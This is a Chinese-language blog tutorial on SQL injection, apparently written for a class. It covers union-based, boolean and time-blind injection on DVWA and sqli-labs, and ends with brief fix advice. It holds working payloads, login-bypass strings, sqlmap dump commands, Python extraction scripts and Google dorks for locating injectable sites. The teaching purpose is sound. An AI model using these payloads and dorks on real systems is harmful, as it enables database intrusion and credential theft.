首發(fā)地址:我的個(gè)人博客
前言
本文章產(chǎn)生的緣由是因?yàn)閷I(yè)老師,讓我給本專業(yè)的同學(xué)講一哈SQL注入和XSS入門,也就是本文的入門篇,講完兩節(jié)課后,發(fā)現(xiàn)自己對(duì)于SQL注入的理解也就僅僅局限于入門,于是有了后面章節(jié)的產(chǎn)生。
入門篇
一、課程目標(biāo)
聽完這節(jié)課你能學(xué)到些什么??
- 知道什么是Sql注入
- 實(shí)現(xiàn)最基礎(chǔ)的Sql注入
- 學(xué)會(huì)使用SqlMap工具
- 了解一些Web安全基本知識(shí)
二、初識(shí)SQL注入
1 什么是SQL
SQL(Structured Query Language) 是用于
訪問(wèn)和處理數(shù)據(jù)庫(kù)的標(biāo)準(zhǔn)的計(jì)算機(jī)語(yǔ)言,SQL與數(shù)據(jù)庫(kù)程序協(xié)同工作,比如 SQL Server、MySQL、Oracle、SQLite、MongoDB、PostgreSQL、MS Access、DB2以及其他數(shù)據(jù)庫(kù)系統(tǒng)。

SQL執(zhí)行流程

2 什么是SQL注入
SQL注入是指web應(yīng)用程序?qū)?strong>用戶輸入數(shù)據(jù)的合法性沒(méi)有判斷或過(guò)濾不嚴(yán),攻擊者可以在web應(yīng)用程序中事先定義好的查詢語(yǔ)句的結(jié)尾上添加額外的SQL語(yǔ)句,以此來(lái)實(shí)現(xiàn)欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的任意查詢,從而得到相應(yīng)的數(shù)據(jù)信息。
通俗來(lái)說(shuō):OWASP Top10之一,SQL注入是通過(guò)將惡意的SQL語(yǔ)句插入到Web應(yīng)用的輸入?yún)?shù)中,欺騙服務(wù)器執(zhí)行惡意的SQL命令的攻擊。
SQL注入流程

3 SQL注入分類
根據(jù)SQL數(shù)據(jù)類型分類
- 整型注入
- 字符型注入
根據(jù)注入的語(yǔ)法分類
- 聯(lián)合查詢注入(Union query SQL injection)
- 報(bào)錯(cuò)型注入(Error-based SQL injection)
- 布爾型注入(Boolean-based blind SQL injection)
- 延時(shí)注入(Time-based blind SQL injection)
- 多語(yǔ)句查詢注入 (Stacted queries SQL injection)
三、初試SQL注入
1 手工注入常規(guī)思路
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語(yǔ)句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
5.獲取數(shù)據(jù)庫(kù)中的表
6.獲取表中的字段名
7.顯示字段信息
2 實(shí)現(xiàn)完整手工注入
靶機(jī):DVWA
將DVWA的級(jí)別設(shè)置為low,可以看到源碼中是一句簡(jiǎn)單的查詢語(yǔ)句,沒(méi)有進(jìn)行任何過(guò)過(guò)濾
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
因此我們完全可以插入自己想要執(zhí)行的sql語(yǔ)句,那么我們開始吧!
輸入我們輸入1,那么執(zhí)行的語(yǔ)句就是
SELECT first_name, last_name FROM users WHERE user_id = '1'
1.判斷注入是字符型還是數(shù)字型
字符型和數(shù)字型最大區(qū)別: 數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的
數(shù)字型:select * from table where id =$id
字符型:select * from table where id='$id'
判斷數(shù)字型
1 and 1=1 #永真式 select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#if頁(yè)面運(yùn)行錯(cuò)誤,則說(shuō)明此Sql注入為數(shù)字型注入。
判斷字符型
1' and '1'='1
1' and '1'='2
#if頁(yè)面運(yùn)行錯(cuò)誤,則說(shuō)明此 Sql 注入為字符型注入。
執(zhí)行上面兩種方式一種就可得出結(jié)論,顯示這個(gè)是字符型注入
2.猜解SQL查詢語(yǔ)句中的字段數(shù)
1' or 1=1 order by 1 # 查詢成功 【order by x 對(duì)第幾列進(jìn)行排序】1' order by 1 # id=‘1‘ #’ 注釋
1' or 1=1 order by 2 # 查詢成功
1' or 1=1 order by 3 # 查詢失敗
[圖片上傳失敗...(image-675df1-1589763722101)]
說(shuō)明執(zhí)行的SQL查詢語(yǔ)句中只有兩個(gè)字段,即這里的First name、Surname。
3.確定顯示的字段順序
1' union select 1,2 #

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from xx where ID='id'
理解select 1,2:例如一個(gè)網(wǎng)站的參數(shù)傳遞執(zhí)行的查詢有3個(gè)字段,很可能這些字段不是都顯示在網(wǎng)頁(yè)前端的,假如其中的1或2個(gè)字段的查詢結(jié)果是會(huì)返回到前端的,那么我們就需要知道這3個(gè)字段中哪兩個(gè)結(jié)果會(huì)回顯,這個(gè)過(guò)程相當(dāng)于找到數(shù)據(jù)庫(kù)與前端顯示的通道。如果我們直接輸入查詢字段進(jìn)行查詢,語(yǔ)句會(huì)非常冗長(zhǎng),而且很可能還需要做很多次測(cè)試,這時(shí)候我們利用一個(gè)簡(jiǎn)單的select 1,2,3,根據(jù)顯示在頁(yè)面上的數(shù)字就可以知道哪個(gè)數(shù)字是這個(gè)“通道”,那么我們只需要把這個(gè)數(shù)字改成我們想查詢的內(nèi)容(如id,password),當(dāng)數(shù)據(jù)爆破成功后,就會(huì)在窗口顯示我們想要的結(jié):果。
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
上步知道字段顯示順序,那我們?cè)谧侄?的位置上顯示數(shù)據(jù)庫(kù)試試
1' union select 1,database() #

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。
5.獲取數(shù)據(jù)庫(kù)中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
information_schema.tables存儲(chǔ)了數(shù)據(jù)表的元數(shù)據(jù)信息,下面對(duì)常用的字段進(jìn)行介紹:
- table_schema: 記錄數(shù)據(jù)庫(kù)名;
- table_name: 記錄數(shù)據(jù)表名;
- engine : 存儲(chǔ)引擎;
- table_rows: 關(guān)于表的粗略行估計(jì);
- data_length : 記錄表的大小(單位字節(jié));
- index_length : 記錄表的索引的大小;
- row_format: 可以查看數(shù)據(jù)表是否壓縮過(guò);
[圖片上傳失敗...(image-a76ec8-1589763722101)]
說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users。
6.獲取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
[圖片上傳失敗...(image-195c58-1589763722101)]
說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.獲取字段信息
1' union select group_concat(user_id,first_name),group_concat(password) from users #
1' union select group_concat(concat_ws(':',first_name,password)),2 from users #
1' union select first_name,password from users #

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
3 實(shí)戰(zhàn)演練一哈
就以我自己搭建的靶機(jī)為例子??
在主頁(yè)搜索框發(fā)現(xiàn)注入點(diǎn),話不多說(shuō)開始注入
#判斷注入類型 #【數(shù)字型】
1 and 1=1
1 and 1=2
#查詢數(shù)據(jù)庫(kù) #【test】
-1 union select 1,2,database()
#獲取數(shù)據(jù)庫(kù)中的表 #【admin、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
#獲取表中的字段名 #【 user_id、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'
#獲取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin
我們又快速的實(shí)現(xiàn)了一次手工注入,但是你有沒(méi)和我一樣的感覺(jué),太麻煩了,有更方便的方法嗎,emm...
當(dāng)然有啦,使用SqlMap工具可以快速實(shí)現(xiàn)注入??
四、使用SqlMap注入
具體使用方法請(qǐng)問(wèn)我之前寫的文章??sqlmap使用方法
SqlMap初體驗(yàn)
接著使用上面靶機(jī)進(jìn)行測(cè)試
#查詢數(shù)據(jù)庫(kù) #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#獲取數(shù)據(jù)庫(kù)中的表 #【admin、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#獲取表中的字段名 #【 user_id、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
一道CTF題目
題目:簡(jiǎn)單的sql注入2
地址:http://139.224.112.182:8087/ctf_collect
解析:http://www.itdecent.cn/p/1aeedef99f21
1.查詢當(dāng)前數(shù)據(jù)庫(kù)(空格被過(guò)濾可以使用tamper腳本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs

發(fā)現(xiàn)web1數(shù)據(jù)庫(kù)
2.查詢數(shù)據(jù)庫(kù)中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables

發(fā)現(xiàn)flag表
3.查詢flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

發(fā)現(xiàn)flag字段
4.查詢字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
<img src="https://i.loli.net/2020/05/04/TfZAoObdMPiLJIt.png" style="zoom: 80%;" />
五、發(fā)現(xiàn)注入點(diǎn)
1 使用漏洞掃描工具
工具:OWASP ZAP、D盾、Seay
萬(wàn)能密碼:
1' or 1=1 # 用戶名和密碼都可
' or '1'='1' --
1' or '1'='1 密碼才可

<script>alert(1);</script>

2 通過(guò)Google Hacking 尋找SQL注入
看到這里我們已經(jīng)完成了一次最基礎(chǔ)的GET字符型Sql注入,有人可能會(huì)問(wèn)了,這是自己搭建的靶機(jī),知道是存在sql注入,真實(shí)環(huán)境中如何去發(fā)現(xiàn)Sql注入呢
inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......
服務(wù)器報(bào)錯(cuò),并把錯(cuò)誤信息返回到網(wǎng)頁(yè)上面。根據(jù)錯(cuò)誤信息,判斷這里大概率存在注入點(diǎn)。
六、 修復(fù)建議
- 過(guò)濾用戶輸入的數(shù)據(jù)。默認(rèn)情況下,應(yīng)當(dāng)認(rèn)為用戶的所有輸入都是不安全的。
- 對(duì)于整數(shù),判斷變量是否符合[0-9]的值;其他限定值,也可以進(jìn)行合法性校驗(yàn);
- 對(duì)于字符串,對(duì)SQL語(yǔ)句特殊字符進(jìn)行轉(zhuǎn)義(單引號(hào)轉(zhuǎn)成兩個(gè)單引號(hào),雙引號(hào)轉(zhuǎn)成兩個(gè)雙引號(hào))。
- 綁定變量,使用預(yù)編譯語(yǔ)句
進(jìn)階篇
SQL注入前你要知道
不要急于進(jìn)行SQL注入,請(qǐng)先看完這部分,很重要!,很重要!,很重要!
1.基本的SQL語(yǔ)句查詢?cè)创a
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行數(shù)
通常情況下聯(lián)合查詢(union)時(shí)需要將前面的查詢結(jié)果限定為空集,后面的查詢結(jié)果才能顯示出來(lái)。例如id值設(shè)為負(fù)數(shù)或0,因?yàn)閹в?code>LIMIT 0,1則只能顯示一條數(shù)據(jù)
?id=-1 union select 1,2,3
?id=0 union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users
2.MySQL數(shù)據(jù)庫(kù)幾種注釋
| 注釋符 | 描述 |
|---|---|
# |
單行注釋 URL編碼 %23,在URL框直接使用中#號(hào)必須用%23來(lái)表示,#在URL框中有特定含義,代表錨點(diǎn) |
--空格 |
單行注釋 ,實(shí)際使用中--空格用--+來(lái)表示。因?yàn)樵赨RL框中,瀏覽器在發(fā)送請(qǐng)求的時(shí)候會(huì)把URL末尾的空格舍去,所以用--+代替--空格
|
/* */ |
塊注釋 |
/*! */ |
內(nèi)聯(lián)注釋 |
3.數(shù)據(jù)庫(kù)相關(guān)--Information_schema庫(kù)
-
information_schema,系統(tǒng)數(shù)據(jù)庫(kù),包含所有數(shù)據(jù)庫(kù)相關(guān)信息。 -
information_schema.schemata中schema_name列,字段為所有數(shù)據(jù)庫(kù)名稱。 -
information_schema.tables中table_name列對(duì)應(yīng)數(shù)據(jù)庫(kù)所有表名 -
information_schema.columns中,column_name列對(duì)應(yīng)所有列名
5.連接字符串函數(shù)
concat(),concat_ws()與及group_concat()的用法
concat(str1,str2,…)——沒(méi)有分隔符地連接字符串concat_ws(separator,str1,str2,…)——含有分隔符地連接字符串group_concat(str1,str2,…)——連接一個(gè)組的所有字符串,并以逗號(hào)分隔每一條數(shù)據(jù),知道這三個(gè)函數(shù)能一次性查出所有信息就行了。
6.MySQL常用的系統(tǒng)函數(shù)
version() #MySQL版本
user() #數(shù)據(jù)庫(kù)用戶名
database() #數(shù)據(jù)庫(kù)名
@@basedir #數(shù)據(jù)庫(kù)安裝路徑
@@datadir #數(shù)據(jù)庫(kù)文件存放路徑
@@version_compile_os #操作系統(tǒng)版本
盲注
SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無(wú)法從顯示頁(yè)面上獲取執(zhí)行結(jié)果,甚至連注入語(yǔ)句是否執(zhí)行都無(wú)從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。
手工盲注思路
手工盲注的過(guò)程,就像你與一個(gè)機(jī)器人聊天,
這個(gè)機(jī)器人知道的很多,但只會(huì)回答“是”或者“不是”,
因此你需要詢問(wèn)它這樣的問(wèn)題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a???”
通過(guò)這種機(jī)械的詢問(wèn),最終獲得你想要的數(shù)據(jù)。
手工盲注的步驟
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
3.猜解數(shù)據(jù)庫(kù)中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)
盲注常用函數(shù)
| 函數(shù) | 描述 |
|---|---|
| left(字符串,截取長(zhǎng)度) | 從左邊截取指定長(zhǎng)度的字符串 |
| length(字符串) | 獲取字符串的長(zhǎng)度 |
| ascii(字符串) | 將指定字符串進(jìn)行ascii編碼 |
| substr(字符串,start,截取長(zhǎng)度) | 截取字符串,可以指定起始位置和長(zhǎng)度 |
| mid(字符串,start,截取長(zhǎng)度) | 截取字符串,可以指定起始位置和長(zhǎng)度 |
| count() | 計(jì)算總數(shù),返回匹配條件的行數(shù)。 |
| sleep(n) | 將程序掛起n秒 |
| if(參數(shù)1,參數(shù)2,參數(shù)3) | 參數(shù)1為條件,當(dāng)參數(shù)1返回的結(jié)果為true時(shí),執(zhí)行參數(shù)2,否則執(zhí)行參數(shù)3 |
布爾盲注
布爾注入利用情景
- 頁(yè)面上沒(méi)有顯示位,并且沒(méi)有輸出SQL語(yǔ)句執(zhí)行錯(cuò)誤信息
- 只能通過(guò)頁(yè)面返回正常與不正常判斷
實(shí)現(xiàn)完整手工布爾盲注
靶機(jī):sqli-labs第5關(guān)
1 .查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
【字符型】
2.猜解數(shù)據(jù)庫(kù)長(zhǎng)度
使用length()判斷數(shù)據(jù)庫(kù)長(zhǎng)度,二分法可提高效率
?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】
3.猜當(dāng)前數(shù)據(jù)庫(kù)名
方法1:使用substr函數(shù)
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函數(shù)和substr函數(shù)
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】

方法3:使用left函數(shù)
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模塊
將獲取數(shù)據(jù)庫(kù)第一個(gè)字符的請(qǐng)求包攔截并發(fā)送到Intruder模塊
設(shè)置攻擊變量以及攻擊類型

設(shè)置第一個(gè)攻擊變量,這個(gè)變量是控制第幾個(gè)字符的

設(shè)置第二個(gè)攻擊變量,這個(gè)變量是數(shù)據(jù)庫(kù)名字符

開始攻擊,一小會(huì)就能得到測(cè)試結(jié)果,通過(guò)對(duì)長(zhǎng)度和變量進(jìn)行排序可以看到數(shù)據(jù)庫(kù)名成功得到

4.判斷表的個(gè)數(shù)
count()函數(shù)是用來(lái)統(tǒng)計(jì)表中記錄的一個(gè)函數(shù),返回匹配條件的行數(shù)。
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4個(gè)表】
5.判斷表的長(zhǎng)度
limit可以被用于強(qiáng)制select語(yǔ)句返回指定的條數(shù)。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一個(gè)表長(zhǎng)度為6】
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二個(gè)表長(zhǎng)度為8】
6.猜解表名
方法1:使用substr函數(shù)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一個(gè)表名為emails】
方法2:使用Burpsuite的Intruder模塊
使用方法跟上方獲得數(shù)據(jù)庫(kù)名一樣,就不贅述了


7.猜解字段名和字段信息
#確定字段個(gè)數(shù)
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段個(gè)數(shù)為3】
#確定字段名的長(zhǎng)度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一個(gè)字段長(zhǎng)度為2,第二個(gè)字段長(zhǎng)度為8】
#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i' --+
【...id,username,password...】
#確定字段數(shù)據(jù)長(zhǎng)度
?id=1' and length((select username from users limit 0,1))=4 --+
【第一個(gè)字段數(shù)據(jù)長(zhǎng)度為4】
#猜解字段數(shù)據(jù) 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d' --+
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+
【第一個(gè)username數(shù)據(jù)為dumb】
使用SQLmap實(shí)現(xiàn)布爾盲注
--batch: 用此參數(shù),不需要用戶輸入,將會(huì)使用sqlmap提示的默認(rèn)值一直運(yùn)行下去。
--technique:選擇注入技術(shù),B:Boolean-based-blind (布爾型盲注)
--threads 10 :設(shè)置線程為10,運(yùn)行速度會(huì)更快
#查詢數(shù)據(jù)庫(kù) #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10
#獲取數(shù)據(jù)庫(kù)中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security --tables --batch --threads 10
#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10
#獲取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
腳本實(shí)現(xiàn)布爾盲注
1.獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
# coding:utf-8
import requests
# 獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
payload = '''?id=1' and length(database())=%d''' %i
r = requests.get(url + payload + '%23') # %23 <==> --+
if 'You are in' in r.text:
print('database_length:', i)
break
else:
print(i)
database_len()
# 【database_length: 8】
2.獲取數(shù)據(jù)庫(kù)名
# coding:utf-8
import requests
#獲取數(shù)據(jù)庫(kù)名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr(database(),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
# 【database_name: security】
3.獲取數(shù)據(jù)庫(kù)中表
# coding:utf-8
import requests
# 獲取數(shù)據(jù)庫(kù)表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('table_name:', name)
tables_name()
#【table_name: emails,referers,uagents,users】
4.獲取表中字段
# coding:utf-8
import requests
# 獲取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('column_name:', name)
columns_name()
#【column_name: id,username,password】
5.獲取字段值
# coding:utf-8
import requests
# 獲取字段值
def value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('value:', name)
value()
時(shí)間盲注
時(shí)間注入利用情景
- 頁(yè)面上沒(méi)有顯示位
- 沒(méi)有輸出報(bào)錯(cuò)語(yǔ)句
- 正確的sql語(yǔ)句和錯(cuò)誤的sql語(yǔ)句頁(yè)面返回一致
手工實(shí)現(xiàn)時(shí)間盲注
靶機(jī):sqli-labs第9關(guān)
?id=1
?id=1'
?id=1"
#不管怎么樣都不報(bào)錯(cuò),不管對(duì)錯(cuò)一直顯示一個(gè)固定的頁(yè)面;
#判斷注入點(diǎn)
?id=1' and sleep(3)--+
#頁(yè)面響應(yīng)延遲,判斷存在時(shí)間延遲型注入
#獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
?id=1' and if(length(database())=8,sleep(3),1)--+
#獲取數(shù)據(jù)庫(kù)名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+
結(jié)合Burpsuite的Intruder模塊爆破數(shù)據(jù)庫(kù)名
將獲取數(shù)據(jù)庫(kù)第一個(gè)字符的請(qǐng)求包攔截并發(fā)送到Intruder模塊
設(shè)置攻擊變量以及攻擊類型

設(shè)置第一個(gè)攻擊變量,這個(gè)變量是控制第幾個(gè)字符的

設(shè)置第二個(gè)攻擊變量,這個(gè)變量是數(shù)據(jù)庫(kù)名字符

開始攻擊,一小會(huì)就能得到測(cè)試結(jié)果,通過(guò)對(duì)長(zhǎng)度和變量進(jìn)行排序可以看到數(shù)據(jù)庫(kù)名成功得到

獲取表名、字段名、字段信息等數(shù)據(jù)方法同上,就不贅述了
使用SQLmap實(shí)現(xiàn)時(shí)間盲注
--batch: 用此參數(shù),不需要用戶輸入,將會(huì)使用sqlmap提示的默認(rèn)值一直運(yùn)行下去。
--technique:選擇注入技術(shù),-T:Time-based blind (基于時(shí)間延遲注入)
--threads 10 :設(shè)置線程為10,運(yùn)行速度會(huì)更快。
#查詢數(shù)據(jù)庫(kù) #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10
#獲取數(shù)據(jù)庫(kù)中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10
#獲取表中的字段名 #【id、username、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10
#獲取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10
腳本實(shí)現(xiàn)時(shí)間盲注
1.獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
# coding:utf-8
import requests
import datetime
# 獲取數(shù)據(jù)庫(kù)名長(zhǎng)度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print('database_len:', i)
break
else:
print(i)
database_len()
2.獲取數(shù)據(jù)庫(kù)名
# coding:utf-8
import requests
import datetime
#獲取數(shù)據(jù)庫(kù)名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
獲取表名、字段名、字段信息等數(shù)據(jù)的腳本類似上面布爾盲注腳本,就不贅述了
SQL注入靶場(chǎng)
DVWA
SQL-Injection
Low

分析:
由代碼可知,通過(guò)
REQUEST方式接受傳遞的參數(shù)id,再通過(guò)sql語(yǔ)句帶入查詢,并未設(shè)置任何過(guò)濾,因此可以進(jìn)行sql注入利用。常見注入測(cè)試的POC:

1.判斷是否存在注入,注入是字符型還是數(shù)字型
當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。字符型和數(shù)字型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。
輸入1,查詢成功

輸入1'and '1' ='2,查詢失敗,返回結(jié)果為空:

輸入1' or '1'='1 頁(yè)面正常,并返回更多信息,成功查詢

判斷存在的是字符型注入。
2.猜解SQL查詢語(yǔ)句中的字段數(shù)
1' or 1=1 order by 1 #
查詢成功

1' or 1=1 order by 2 #
查詢成功 #是注釋作用

1' or 1=1 order by 3 #
查詢失敗

說(shuō)明執(zhí)行的SQL查詢語(yǔ)句中只有兩個(gè)字段,即這里的First name、Surname。
3.確定顯示的字段順序
輸入1' union select 1,2 # 查詢成功: #是注釋作用

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=’id’…
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
輸入1' union select 1,database() # 查詢成功:#是注釋作用

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。
5.獲取數(shù)據(jù)庫(kù)中的表
輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功: #是注釋作用

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users。
6.獲取表中的字段名
輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查詢成功: #是注釋作用

說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數(shù)據(jù)
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功: #是注釋作用

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
Medium
分析:
Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶的輸入。

漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過(guò)抓包改參數(shù),提交惡意構(gòu)造的查詢參數(shù)。
1.判斷是否存在注入,注入是字符型還是數(shù)字型
抓包更改參數(shù)id為1' or 1=1 # 報(bào)錯(cuò): #是注釋作用

抓包更改參數(shù)id為1 or 1=1 #,查詢成功

說(shuō)明存在數(shù)字型注入。
